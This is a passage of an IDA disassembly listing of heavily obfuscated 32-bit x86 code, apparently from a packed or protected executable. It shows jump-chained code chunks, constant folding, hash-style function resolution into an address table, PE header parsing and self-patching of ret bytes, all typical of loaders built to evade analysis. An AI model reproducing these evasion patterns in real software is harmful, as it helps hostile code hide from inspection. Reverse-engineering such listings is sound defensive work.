loc_74D9D6:				; CODE XREF: sub_7531B7+10j
		jmp	loc_74AD7F
; END OF FUNCTION CHUNK	FOR sub_7531B7
; ---------------------------------------------------------------------------
		mov	eax, 0DD1C4F2h
		push	edx
		push	7138D2CBh
		sub	edx, edi
		jmp	loc_74B41E
; ---------------------------------------------------------------------------


loc_74D9ED:				; DATA XREF: sub_752D11+46AAo
		add	eax, [ebp-4]
		push	ecx
		push	1FE27043h
		pop	ecx
		and	ecx, 2B7B6013h
		xor	ecx, 0B62601Bh
		jmp	loc_752A30
; ---------------------------------------------------------------------------


loc_74DA08:				; DATA XREF: sub_749229+E660o
		push	6DB0C68h
		pop	eax
		rol	eax, 13h
		cmp	eax, 0C2F5EC3Ah
		jmp	loc_74E632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74DA1C:				; CODE XREF: sub_749254:loc_74D92Ej
		push	edx
		push	esi
		push	6F2AE7Ch
		pop	esi
		or	esi, 0A4BCC18Ch
		sub	esi, 0C577D559h
		jmp	loc_74A91C
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754FC6


loc_74DA35:				; CODE XREF: sub_754FC6-56B4j
		xchg	ecx, [esp+8+var_8]
		jmp	sub_748C0D
; END OF FUNCTION CHUNK	FOR sub_754FC6

; =============== S U B	R O U T	I N E =======================================



sub_74DA3D	proc near		; DATA XREF: sub_746640-E53o
		push	esi
		call	sub_74A99B


loc_74DA43:				; CODE XREF: sub_74A63F+9E71j
		jmp	nullsub_199
sub_74DA3D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_74DA48:				; CODE XREF: sub_74B1F1-279Aj
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------


loc_74DA4D:				; CODE XREF: _0z4jwtox:loc_746DCDj
		mov	eax, 6A74FD15h
		push	offset sub_750BB0
		jmp	loc_74B6CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74DA5D:				; CODE XREF: sub_74C670+6A68j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74C670
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_74DA63:				; CODE XREF: sub_74AE67-1E01j
		jmp	loc_74D641
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74DA68:				; CODE XREF: sub_747AEC+2B4Ej
		rol	eax, 1Dh
		sub	eax, 0BAA89B88h
		push	esi
		push	0EDACFC10h
		pop	esi
		sub	esi, 4223A891h
		jmp	loc_74736A
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74DA83:				; CODE XREF: sub_7561AB:loc_745D57j
					; _0z4jwtox:00745D6Cj
		add	ebx, 0EF3507E5h
		sub	eax, ebx
		pop	ebx
		xor	eax, 0B4CB980Fh
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		jmp	loc_74E308
; END OF FUNCTION CHUNK	FOR sub_7561AB

; =============== S U B	R O U T	I N E =======================================



sub_74DA9D	proc near		; DATA XREF: _0z4jwtox:0074F87Do
		add	edx, 7A3503A9h
		call	sub_74594D


loc_74DAA8:				; CODE XREF: _0z4jwtox:00747121j
		push	ecx
sub_74DA9D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74DAA9	proc near		; CODE XREF: sub_74CB79+6p
		xchg	edx, [esp+0]
		pop	edx
		pop	ebp
		retn
sub_74DAA9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74DAAF	proc near		; CODE XREF: _0z4jwtox:00745395j
					; sub_747A4A+288Aj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007472E6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00749558 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A679 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0074EDC5 SIZE 00000012 BYTES

		push	ecx
		jmp	loc_749558
sub_74DAAF	endp

; ---------------------------------------------------------------------------
		jmp	ds:off_41F07C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74DABB:				; CODE XREF: sub_74C670+74F4j
		jmp	loc_74C44A
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_74DAC0:				; CODE XREF: _0z4jwtox:0074F219j
		jmp	loc_7455E6
; ---------------------------------------------------------------------------


loc_74DAC5:				; CODE XREF: _0z4jwtox:00749B25j
		jmp	loc_74C053
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75118C


loc_74DACA:				; CODE XREF: _0z4jwtox:loc_74EE53j
					; sub_75118C+Dj ...
		jnb	loc_75119E
		pop	edx
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+8+var_8]
		jmp	loc_75297B
; END OF FUNCTION CHUNK	FOR sub_75118C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74DADF:				; CODE XREF: sub_747C22:loc_74D8D2j
		mov	al, [eax]
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_74767C
		jmp	loc_750352
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		not	esi
		jmp	sub_746BE0
; ---------------------------------------------------------------------------


loc_74DAFC:				; CODE XREF: _0z4jwtox:loc_749C52j
		add	eax, 0EF25A666h
		call	sub_746E93
		mov	ds:off_41F0C8, eax
		lea	eax, sub_74624E
		call	sub_751427
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_74DB18:				; CODE XREF: sub_74721B:loc_74D985j
		cmp	al, 0A4h
		jz	loc_755EEB
		jmp	loc_748B07
; END OF FUNCTION CHUNK	FOR sub_74721B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74DB25:				; CODE XREF: sub_748A22+AC14j
		cmp	ecx, 0D6E2DF86h
		jmp	loc_74EAF8
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_74DB30:				; CODE XREF: sub_75275A:loc_74BB0Aj
		jz	loc_7524AA
		jmp	loc_756D12
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_74DB3B:				; CODE XREF: sub_7473E6+40ACj
		and	eax, 52D1C812h
		jmp	loc_747AFC
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74DB46:				; CODE XREF: sub_7561AB:loc_74AC92j
					; DATA XREF: sub_74BD89+Bo
		mov	ds:off_41F108, eax
		call	sub_747D01


loc_74DB51:				; CODE XREF: sub_74AAC1+BD5Dj
		jmp	loc_749F07
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74DB56:				; CODE XREF: sub_747AEC+3A4j
		pushf
		push	3FBF3F85h
		pop	ebx
		xor	ebx, 392D453Ch
		jmp	loc_74A84F
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_74DB68:				; CODE XREF: sub_7571A1-D9E5j
		mov	ebx, eax
		pop	eax
		xor	ebx, 0C0DA7B43h
		sub	ebx, 46FA85D7h
		test	ebx, 20000h
		jmp	loc_74FC6E
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_74DB83:				; CODE XREF: sub_745911+932Aj
		jmp	nullsub_83
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7459BC


loc_74DB88:				; CODE XREF: sub_7459BC+20j
		jmp	loc_747656
; END OF FUNCTION CHUNK	FOR sub_7459BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74DB8D:				; CODE XREF: sub_747AEC:loc_74D1ADj
		ror	eax, 0Ah
		xor	eax, 0ADD62811h
		push	esi
		jmp	loc_747E74
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_74DB9C:				; CODE XREF: _0z4jwtox:0074E565j
		rol	ebx, 1Fh
		and	ebx, 95EF4F27h
		test	ebx, 10000000h
		jmp	loc_7558E1
; ---------------------------------------------------------------------------
		mov	eax, 78BDA40Ah
		call	sub_746E93
		mov	ds:dword_41F148, eax
		lea	eax, nullsub_279
		jmp	loc_75418C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_74DBCB:				; CODE XREF: sub_746C5E+E96Cj
		pop	esi
		ror	eax, 1
		jns	loc_74ABD3
		xor	eax, 0AEB5E723h
		jmp	loc_757601
; END OF FUNCTION CHUNK	FOR sub_746C5E

; =============== S U B	R O U T	I N E =======================================



sub_74DBDF	proc near		; CODE XREF: sub_74ED9C+11p
					; _0z4jwtox:007549A7j

; FUNCTION CHUNK AT 00754603 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		jmp	loc_754603
sub_74DBDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74DBEB	proc near		; CODE XREF: sub_401000+AAp
					; sub_401447+96p ...

; FUNCTION CHUNK AT 007545FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754A78 SIZE 0000000D BYTES

		push	ecx
		push	27681F93h
		jmp	loc_7545FE
sub_74DBEB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_74DBF6:				; CODE XREF: sub_75712E-11D86j
		pushf
		jmp	loc_75739A
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_74DBFC:				; CODE XREF: sub_755C38-A825j
					; _0z4jwtox:0074B430j
		or	edx, 0CCA1D4F7h
		xor	edx, 1B8AC5E0h
		add	edx, 0AC2C181h
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_7
		jmp	loc_749524
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_74DC1C:				; CODE XREF: sub_754DFF:loc_74EB28j
		jl	loc_7511A8
		shr	ebx, 12h
		pop	eax
		xor	ebp, edi
		jmp	loc_751F9E
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74DC2D:				; CODE XREF: sub_747736:loc_74A6BFj
		pop	ebx
		and	ebx, 9CDF92C3h
		cmp	ebx, 0AC3F1E7Ah
		jmp	loc_745B74
; END OF FUNCTION CHUNK	FOR sub_747736
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74DC40:				; CODE XREF: sub_748A22+4022j
		jmp	loc_756C08
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755964


loc_74DC45:				; CODE XREF: sub_755964:loc_74D6DDj
		mov	byte ptr [eax],	0C3h
		jmp	sub_75100C
; END OF FUNCTION CHUNK	FOR sub_755964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75100C


loc_74DC4D:				; CODE XREF: sub_75100C+1j
		mov	eax, [esp+0]
		push	esi
		mov	esi, edx
		jmp	loc_752CAC
; END OF FUNCTION CHUNK	FOR sub_75100C

; =============== S U B	R O U T	I N E =======================================



sub_74DC58	proc near		; CODE XREF: _0z4jwtox:007494BFj
					; sub_747622+D339p

; FUNCTION CHUNK AT 00754F28 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075755B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pushf
		push	edi
		push	0D1D758C9h
		pop	edi
		sub	edi, 44184B66h
		or	edi, 68569AE0h
		jmp	loc_75755B
sub_74DC58	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		push	273219B8h
		pop	ecx
		rol	ecx, 14h
		sub	ecx, 36CF50A7h
		jmp	loc_74F3A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749161


loc_74DC8F:				; CODE XREF: sub_749161+4725j
		call	sub_756834

locret_74DC94:				; CODE XREF: sub_757314:loc_74E816j
		retn
; END OF FUNCTION CHUNK	FOR sub_749161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74DC95:				; CODE XREF: sub_74C8DA+1D01j
		jmp	loc_74C0B2
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
		jmp	ds:off_41F01C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_74DCA0:				; CODE XREF: sub_74F78B:loc_747374j
					; _0z4jwtox:0074EFD5j ...
		jb	loc_7483DC
		xchg	ebx, [esp+0]
		mov	edx, ebx
		xchg	ebp, [esp+0]
		jmp	loc_74BB82
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------
		jz	loc_755B76
		mov	edx, ds:dword_746E84
		or	edx, edx
		jnz	loc_74BC7C
		jmp	loc_75531F
; ---------------------------------------------------------------------------


loc_74DCCC:				; CODE XREF: _0z4jwtox:007512D4j
		jnb	loc_74FFA4
		test	ebp, eax
		jmp	loc_74EEDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74DCD9:				; CODE XREF: sub_747C22-2833j
		add	eax, [ebp-8]
		mov	[ebp-24h], eax


loc_74DCDF:				; CODE XREF: sub_747C22:loc_74D414j
		mov	eax, [ebp-24h]
		movzx	eax, word ptr [eax]
		and	eax, 0FFFF7FFFh
		jmp	loc_74A476
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_74DCEF:				; CODE XREF: _0z4jwtox:loc_755782j
		push	edx
		push	0B9A2D51Fh
		pop	edx
		or	edx, 5D8AD5C7h
		rol	edx, 13h
		add	edx, 68E944FBh
		or	edx, 44CFFCE8h
		jmp	loc_74DE0F
; ---------------------------------------------------------------------------
		jg	loc_7570AA
		jmp	sub_75547D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_74DD1B:				; CODE XREF: sub_755C38:loc_74E714j
		jge	loc_746796


loc_74DD21:				; CODE XREF: _0z4jwtox:00752BABj
		jmp	loc_74E81B
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
		shl	ecx, 14h
		popf
		not	ecx
		jmp	loc_746791
; ---------------------------------------------------------------------------


loc_74DD31:				; DATA XREF: sub_757739+11o
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		push	offset sub_756C02
		jmp	loc_7546AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7554BB


loc_74DD49:				; CODE XREF: sub_7554BB:loc_7551CEj
		or	ecx, 0DF6A68BBh
		add	ecx, 20C3889Dh
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_74BD26
		jmp	loc_74E1E2
; END OF FUNCTION CHUNK	FOR sub_7554BB
; ---------------------------------------------------------------------------


loc_74DD63:				; CODE XREF: _0z4jwtox:007483C4j
		rol	edi, 18h
		jmp	loc_74B69F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_74DD6B:				; CODE XREF: sub_750243+6j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		xor	eax, eax


loc_74DD76:				; CODE XREF: _0z4jwtox:loc_746550j
		mov	[ebp+var_8], eax


loc_74DD79:				; CODE XREF: sub_750243-B06Fj
		js	loc_756FA5
		mov	eax, [ebp+var_C]
		jmp	loc_753A40
; END OF FUNCTION CHUNK	FOR sub_750243
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746ED2


loc_74DD88:				; CODE XREF: sub_746ED2:loc_745B16j
		mov	edx, [edx]
		push	offset loc_755D15
		jmp	loc_756B61
; END OF FUNCTION CHUNK	FOR sub_746ED2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	ds:off_41F0F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74DD9B:				; CODE XREF: sub_747736+B319j
		jmp	loc_756D8E
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------


loc_74DDA0:				; CODE XREF: _0z4jwtox:0074C75Ej
		jmp	loc_753DB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74DDA5:				; CODE XREF: sub_75497D:loc_748941j
					; sub_752C39-A2DBj ...
		jb	loc_75498B
		xchg	ebp, [esp+8+var_8]
		mov	edx, ebp
		jmp	loc_7453CB
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
		push	0B99BF022h
		pop	eax
		xor	eax, 2CAFF464h
		rol	eax, 10h
		xor	eax, 0F4327542h
		call	sub_746E93
		mov	ds:dword_41F12C, eax
		jmp	loc_755407

; =============== S U B	R O U T	I N E =======================================



sub_74DDDA	proc near		; CODE XREF: _0z4jwtox:0075400Bj
					; _0z4jwtox:loc_7561C9p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ebx
		push	81E3298Fh
		pop	ebx
		jmp	loc_748923
sub_74DDDA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74DDEE:				; CODE XREF: sub_74D23E-108Dj
		cmp	ecx, edi
		jmp	loc_75409B
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
		sub	eax, ebp
		sbb	ebx, ecx
		jmp	sub_74DE8D
; ---------------------------------------------------------------------------


loc_74DDFE:				; CODE XREF: _0z4jwtox:00755945j
		cmp	eax, 113776C1h
		jmp	loc_74F1F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_74DE09:				; CODE XREF: sub_74698F-9D6j
		jl	loc_745DD3


loc_74DE0F:				; CODE XREF: _0z4jwtox:0074DD0Bj
		jmp	loc_754ACC
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
		test	ebx, 0E6A40927h
		jmp	loc_74E995

; =============== S U B	R O U T	I N E =======================================



sub_74DE1F	proc near		; CODE XREF: sub_7554BB:loc_74D767j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074A9F1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007564C5 SIZE 00000005 BYTES

		push	ebx
		rol	ebx, 5
		jmp	loc_7564C5
sub_74DE1F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_751EFF


loc_74DE28:				; CODE XREF: sub_751EFF:loc_7512E4j
		or	dword ptr [eax-8], 8
; END OF FUNCTION CHUNK	FOR sub_751EFF
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_74DE2C:				; CODE XREF: sub_751EFF:loc_746EA8j
					; sub_751EFF-B04Dj ...
		jo	loc_74621B
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h


loc_74DE3C:				; CODE XREF: sub_7567B4-1686j
		jz	loc_7487BA
		mov	eax, [ebp+8]
		jmp	loc_74CC0F
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------


loc_74DE4A:				; CODE XREF: _0z4jwtox:0074637Fj
		test	ebx, 0E3AC3474h
		jmp	loc_755CE0

; =============== S U B	R O U T	I N E =======================================



sub_74DE55	proc near		; CODE XREF: sub_74A71A-9C8p
					; _0z4jwtox:00755FD1j

; FUNCTION CHUNK AT 00748FC7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00757732 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]


loc_74DE58:				; CODE XREF: sub_7457DD:loc_750C69j
		pop	ecx
		movzx	edx, byte ptr [edx]
		or	eax, edx
		mov	[ebp-1Ch], eax


loc_74DE61:				; CODE XREF: sub_74A71A:loc_749B06j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_757732
sub_74DE55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74DE6C	proc near		; DATA XREF: _0z4jwtox:0074FDB9o

; FUNCTION CHUNK AT 00745ABE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00748842 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754741 SIZE 00000006 BYTES

		mov	eax, [esp+0]
		push	edx
		push	892C6673h
		pop	edx
		and	edx, 644856C8h
		add	edx, 2AD05FCEh
		cmp	edx, 79CEE6Ch
		jmp	loc_748842
sub_74DE6C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74DE8D	proc near		; CODE XREF: sub_74BFF8+13D1p
					; _0z4jwtox:0074DDF9j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074D37B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 0EA17B6A9h
		popf
		xchg	eax, [esp-8+arg_4]
		jmp	loc_74D37B
sub_74DE8D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74DEA0:				; CODE XREF: _0z4jwtox:00753D7Dj
		adc	ecx, edi
		jge	loc_754529
; START	OF FUNCTION CHUNK FOR sub_753D5F


loc_74DEA8:				; CODE XREF: sub_753D5F+Cj
		add	eax, 2944AD66h
		xchg	eax, [esp+0]
		jmp	sub_75364C
; END OF FUNCTION CHUNK	FOR sub_753D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74DEB6:				; CODE XREF: sub_747AEC:loc_74D5B9j
		push	7D11C96Ch
		pop	ecx
		sub	ecx, 0CC10951Bh
		xor	ecx, 503F81B9h
		rol	ecx, 0Ah
		jmp	loc_74B0CE
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_74DED0:				; CODE XREF: _0z4jwtox:007558F4j
		not	edi
		jmp	loc_74551E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_74DED7:				; CODE XREF: sub_74E762:loc_74D745j
		or	eax, 0F93C8679h
		sub	eax, 129F2889h
		add	eax, 1955ED12h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_747F80
		jmp	loc_74E25C
; END OF FUNCTION CHUNK	FOR sub_74E762
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_74DEF9:				; CODE XREF: sub_74A71A+BE15j
		jmp	loc_7458FB
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
		cmp	ebx, 0D260E087h
		jmp	loc_7577C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_74DF09:				; CODE XREF: sub_747C39:loc_751007j
		cmp	al, 0A4h
		jz	loc_750C69
		jmp	loc_75136A
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------


loc_74DF16:				; CODE XREF: _0z4jwtox:007533B6j
		rol	eax, 13h
		sub	eax, 0B4DB56A8h
		jmp	loc_753ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C98


loc_74DF24:				; CODE XREF: sub_748C98j
		mov	eax, ds:dword_74AC54
		or	eax, eax
		jnz	loc_74A008
		jmp	loc_752855
; END OF FUNCTION CHUNK	FOR sub_748C98
; ---------------------------------------------------------------------------
		xchg	ecx, edi
		adc	edx, 0E3E1022Eh
		jmp	sub_757151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74DF44:				; CODE XREF: sub_74673E:loc_746363j
		sub	edi, 0C36E7896h
		xor	edi, 0CAF66DD4h
		rol	edi, 1Ah
		add	edi, 2A85516Fh
		jmp	loc_74D1EB
; END OF FUNCTION CHUNK	FOR sub_74673E

; =============== S U B	R O U T	I N E =======================================



sub_74DF5E	proc near		; DATA XREF: _0z4jwtox:0074B134o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745F05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746F4E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00747157 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755CA8 SIZE 0000000D BYTES

		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		jmp	loc_745F05
sub_74DF5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75100C


loc_74DF71:				; CODE XREF: sub_75100C:loc_756B01j
		xchg	edi, [esp+4+var_4]
		jmp	loc_74A08A
; END OF FUNCTION CHUNK	FOR sub_75100C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74DF79:				; CODE XREF: sub_747C22:loc_754ADFj
		pop	edx
		xchg	esi, [edx]
		jmp	loc_748885
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		xchg	ebx, [edi]
		jmp	sub_755164
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C45E


loc_74DF88:				; CODE XREF: sub_74C45E:loc_7541E5j
		push	92B97A97h
		pop	eax
		sub	eax, 8B20D944h
		add	eax, 0F8DBC082h
		xchg	eax, [esp+0]
		jmp	loc_74D376
; END OF FUNCTION CHUNK	FOR sub_74C45E
; ---------------------------------------------------------------------------


loc_74DFA2:				; CODE XREF: _0z4jwtox:0074C40Ej
		jp	loc_74D9C5
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_74DFA8:				; CODE XREF: sub_755F42:loc_74C3FCj
		xor	eax, 5FCE9425h
		call	sub_746E93
		push	edi
		push	1C0EB88Ch
		jmp	loc_752000
; END OF FUNCTION CHUNK	FOR sub_755F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_74DFBE:				; CODE XREF: sub_74BD6F:loc_75597Fj
		xor	eax, 7EBF0E8h


loc_74DFC4:				; CODE XREF: sub_750638:loc_746427j
		sbb	ebp, 57EA3040h
		cmp	eax, ebx
		jmp	loc_7483FC
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
		mov	ds:off_41F070, eax
		push	offset sub_752FAC
		jmp	loc_74B419

; =============== S U B	R O U T	I N E =======================================



sub_74DFE1	proc near		; CODE XREF: _0z4jwtox:007464A7j
					; sub_755C10-774Ap

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	eax, [esp-4+arg_0]
		jmp	sub_746E93
sub_74DFE1	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756AA2


loc_74DFEE:				; CODE XREF: sub_756AA2-1165Bj
		jmp	loc_7556B6
; END OF FUNCTION CHUNK	FOR sub_756AA2

; =============== S U B	R O U T	I N E =======================================



sub_74DFF3	proc near		; CODE XREF: _0z4jwtox:0074A30Dj
					; sub_7574E3-A21Bp

; FUNCTION CHUNK AT 0074940D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007548ED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00756045 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075624F SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebp
		mov	ebp, edx
		jmp	loc_74940D
sub_74DFF3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7574E3


loc_74DFFF:				; CODE XREF: sub_7574E3:loc_74F29Aj
		add	eax, 597FA2Ah
		xor	eax, 6B2E4244h
		add	eax, 570D2C7Eh
		call	sub_746E93
		jmp	loc_74902D
; END OF FUNCTION CHUNK	FOR sub_7574E3
; ---------------------------------------------------------------------------


loc_74E01B:				; DATA XREF: sub_752E0F-7AECo
		call	sub_7510E4
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_16
		pop	ecx
		pop	ecx
